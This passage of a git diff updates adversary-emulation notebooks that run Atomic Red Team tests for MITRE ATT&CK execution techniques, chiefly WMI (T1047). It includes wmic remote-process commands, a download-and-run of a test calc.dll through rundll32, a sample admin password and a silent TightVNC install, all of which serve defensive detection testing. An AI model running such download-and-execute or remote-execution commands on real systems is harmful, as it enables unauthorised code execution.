OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.\nT1559 | Inter-Process Communication | Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)\nT1204.003 | Malicious Image | Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)\nT1203 | Exploitation for Client Execution | Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.\nT1059.006 | Python | Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.\nT1569 | System Services | Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.\nT1059.003 | Windows Command Shell | Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.\nT1651 | Cloud Administration Command | Adversaries may abuse cloud management services to execute commands within virtual machines or hybrid-joined devices. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. Similarly, in Azure AD environments, Microsoft Endpoint Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to the Azure AD.(Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020)\n\nIf an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment\u2019s virtual machines or on-premises hybrid-joined devices. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)\nT1059.005 | Visual Basic | Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )\nT1648 | Serverless Execution | Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. \n\nAdversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)\n\nServerless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\nT1204.001 | Malicious Link | An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).\nT1569.002 | Service Execution | Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.\nT1053.002 | At | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)" }, { "cell_type": "code", "execution_count": null, - "id": "4ddc41b0", + "id": "4f647031", "metadata": {}, "outputs": [], "source": "#Invoke-AtomicTest-By can be downloaded from https://github.com/cyberbuff/ART-Utils/\nInvoke-AtomicTest-By -Tactic execution" @@ -18,13 +18,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1028.ipynb b/playbook/tactics/execution/T1028.ipynb deleted file mode 100644 index 93120d40..00000000 --- a/playbook/tactics/execution/T1028.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "21afce76", - "metadata": {}, - "source": "# T1028 - Windows Remote Management\nWindows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)" - }, - { - "cell_type": "markdown", - "id": "9fcd6caf", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "d3cce535", - "metadata": {}, - "source": "## Detection\nMonitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events. (Citation: Medium Detecting Lateral Movement)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1035.ipynb b/playbook/tactics/execution/T1035.ipynb deleted file mode 100644 index 19693795..00000000 --- a/playbook/tactics/execution/T1035.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "757ce665", - "metadata": {}, - "source": "# T1035 - Service Execution\nAdversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation." - }, - { - "cell_type": "markdown", - "id": "bc995085", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "2e3241c7", - "metadata": {}, - "source": "## Detection\nChanges to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029)." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1047.ipynb b/playbook/tactics/execution/T1047.ipynb index 93f7f051..825de674 100644 --- a/playbook/tactics/execution/T1047.ipynb +++ b/playbook/tactics/execution/T1047.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "3d6d6c88", + "id": "34968075", "metadata": {}, "source": "# T1047 - Windows Management Instrumentation\nAdversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)" }, { "cell_type": "markdown", - "id": "9e4d45b0", + "id": "634e72a9", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a6399fef", + "id": "098fd94a", "metadata": {}, "source": [ "### Atomic Test #1 - WMI Reconnaissance Users", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "afe7f936", + "id": "daba6366", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a9ecb6a4", + "id": "9d0fa935", "metadata": {}, "source": [ "### Atomic Test #2 - WMI Reconnaissance Processes", @@ -47,14 +47,14 @@ { "cell_type": "code", "execution_count": null, - "id": "61413435", + "id": "2104734a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "91278eb7", + "id": "d7cb5718", "metadata": {}, "source": [ "### Atomic Test #3 - WMI Reconnaissance Software", @@ -67,18 +67,18 @@ { "cell_type": "code", "execution_count": null, - "id": "f9d5e22d", + "id": "7be6973a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "8a6bac87", + "id": "4abe8e45", "metadata": {}, "source": [ "### Atomic Test #4 - WMI Reconnaissance List Remote Services", - "An adversary might use WMI to check if a certain Remote Service is running on a remote device. \nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" \nif the provided remote host is unreacheable\n", + "An adversary might use WMI to check if a certain Remote Service is running on a remote device. \nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" \nif the provided remote host is unreachable\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", "```command_prompt\nwmic /node:\"127.0.0.1\" service where (caption like \"%Spooler%\")\n```" @@ -87,14 +87,14 @@ { "cell_type": "code", "execution_count": null, - "id": "146b9246", + "id": "4e460e14", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "d0da0cb5", + "id": "42cda32a", "metadata": {}, "source": [ "### Atomic Test #5 - WMI Execute Local Process", @@ -107,28 +107,28 @@ { "cell_type": "code", "execution_count": null, - "id": "10ad6db7", + "id": "13a91ba1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "6b6be710", + "id": "3049ef49", "metadata": {}, "source": "#### Cleanup: \n```cmd\nwmic process where name='notepad.exe' delete >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3cfee5fe", + "id": "2aeb5d83", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "f2f01eb9", + "id": "5cd666c0", "metadata": {}, "source": [ "### Atomic Test #6 - WMI Execute Remote Process", @@ -141,28 +141,28 @@ { "cell_type": "code", "execution_count": null, - "id": "cac947c0", + "id": "e3e85793", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "89401050", + "id": "010f1911", "metadata": {}, "source": "#### Cleanup: \n```cmd\nwmic /user:DOMAIN\\Administrator /password:P@ssw0rd1 /node:\"127.0.0.1\" process where name='notepad.exe' delete >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f5adb03a", + "id": "493879e5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "e6089f07", + "id": "40d01c57", "metadata": {}, "source": [ "### Atomic Test #7 - Create a Process using WMI Query and an Encoded Command", @@ -175,14 +175,14 @@ { "cell_type": "code", "execution_count": null, - "id": "22563a4d", + "id": "5fed7d9e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "8d2952d9", + "id": "318c6ad1", "metadata": {}, "source": [ "### Atomic Test #8 - Create a Process using obfuscated Win32_Process", @@ -196,87 +196,87 @@ { "cell_type": "code", "execution_count": null, - "id": "0ddd332d", + "id": "fbf73800", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "2df03cdd", + "id": "6a3c25d0", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath(\"Win32_Atomic\"))\ntry { $CleanupClass.Delete() } catch {}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6f087655", + "id": "bfd05e79", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "2eec973b", + "id": "ca3b3127", "metadata": {}, - "source": "### Atomic Test #9 - WMI Execute rundll32\nThis test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL with function to execute must exist on disk at specified location (#{dll_to_execute})\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\calc.dll) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/bin/calc.dll?raw=true\" -OutFile \"$env:TEMP\\calc.dll\"\n\n```" + "source": "### Atomic Test #9 - WMI Execute rundll32\nThis test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL with function to execute must exist on disk at specified location (#{dll_to_execute})\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\calc.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/bin/calc.dll?raw=true\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\calc.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ab95c1a7", + "id": "7118dbc7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "16bd68b4", + "id": "46d75a86", "metadata": {}, "source": [ - "#### Attack Commands: Run with `powershell`\n", - "```powershell\nwmic /node:127.0.0.1 process call create \"rundll32.exe $env:TEMP\\calc.dll StartW\"\n```" + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nwmic /node:127.0.0.1 process call create \"rundll32.exe \\\"PathToAtomicsFolder\\..\\ExternalPayloads\\calc.dll\\\" StartW\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "3002b753", + "id": "c27a4db0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "23dd5330", + "id": "d7752e94", "metadata": {}, - "source": "#### Cleanup: \n```powershell\ntaskkill /f /im calculator.exe```" + "source": "#### Cleanup: \n```cmd\ntaskkill /f /im calculator.exe```" }, { "cell_type": "code", "execution_count": null, - "id": "e57ddbc4", + "id": "d2ae71b2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "40fb8fa5", + "id": "72a244b9", "metadata": {}, - "source": "### Atomic Test #10 - Application uninstall using WMIC\nEmulates uninstalling applications using WMIC. This method only works if the product was installed with an msi file. APTs have been seen using this to uninstall security products.\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: TightVNC must be installed.\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path \"C:\\Program Files\\TightVNC\\tvnviewer.exe\")-Or (Test-Path \"C:\\Program Files (x86)\\TightVNC\\tvnviewer.exe\")) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest 'https://www.tightvnc.com/download/2.8.63/tightvnc-2.8.63-gpl-setup-64bit.msi' -OutFile PathToAtomicsFolder\\T1047\\bin\\tightvncinstaller.msi\nstart-sleep -s 10\nmsiexec /i PathToAtomicsFolder\\T1047\\bin\\tightvncinstaller.msi /qn /norestart\nstart-sleep -s 15\n```" + "source": "### Atomic Test #10 - Application uninstall using WMIC\nEmulates uninstalling applications using WMIC. This method only works if the product was installed with an msi file. APTs have been seen using this to uninstall security products.\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: TightVNC must be installed.\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path \"C:\\Program Files\\TightVNC\\tvnviewer.exe\")-Or (Test-Path \"C:\\Program Files (x86)\\TightVNC\\tvnviewer.exe\")) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest 'https://www.tightvnc.com/download/2.8.63/tightvnc-2.8.63-gpl-setup-64bit.msi' -OutFile \"PathToAtomicsFolder..\\ExternalPayloads\\tightvncinstaller.msi\"\nstart-sleep -s 10\nmsiexec /i \"PathToAtomicsFolder..\\ExternalPayloads\\tightvncinstaller.msi\" /qn /norestart\nstart-sleep -s 15\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5b1a1eae", + "id": "df1fd6e3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 10 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e2b19bea", + "id": "fb0d9267", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -286,34 +286,34 @@ { "cell_type": "code", "execution_count": null, - "id": "41167114", + "id": "81a2dad2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "3b013dc0", + "id": "a6fb6224", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nmsiexec /i PathToAtomicsFolder\\T1047\\bin\\tightvncinstaller.msi /qn /norestart```" + "source": "#### Cleanup: \n```cmd\nmsiexec /i \"PathToAtomicsFolder..\\ExternalPayloads\\tightvncinstaller.msi\" /qn /norestart```" }, { "cell_type": "code", "execution_count": null, - "id": "1121d636", + "id": "dd39beb2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1047 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "70bce9c0", + "id": "a53e5207", "metadata": {}, "source": "## Detection\nMonitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)" }, { "cell_type": "markdown", - "id": "28c23e30", + "id": "db7f7fe4", "metadata": {}, "source": "\n## Shield Active Defense\n### Admin Access \n Modify a user's administrative privileges.\n \n\n Changing the target system to allow or disallow users to perform tasks requiring administrator level permissions gives the defender leverage in inhibiting or facilitating attacks. The procedures for changing these permissions vary across different operating and software systems.\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to allow or restrict admin access to support your defensive objectives.\n#### Use Case\nA defender can remove admin access from the local user to prevent an adversary from being able to utilize WMI.\n#### Procedures\nRemove an account's administrative access from a system or service to require an adversary to reveal techniques for elevating privileges in order to accomplish certain tasks.\nGrant an account administrative access to a system or service to enable an adversary to take advantage of those privileges if they compromise the system or service.\n" } @@ -321,13 +321,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1053.001.ipynb b/playbook/tactics/execution/T1053.001.ipynb deleted file mode 100644 index addaa493..00000000 --- a/playbook/tactics/execution/T1053.001.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "6121c46b", - "metadata": {}, - "source": "# T1053.001 - At (Linux)\nAdversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)" - }, - { - "cell_type": "markdown", - "id": "f95de9e7", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "c1861168", - "metadata": {}, - "source": "## Detection\nMonitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT 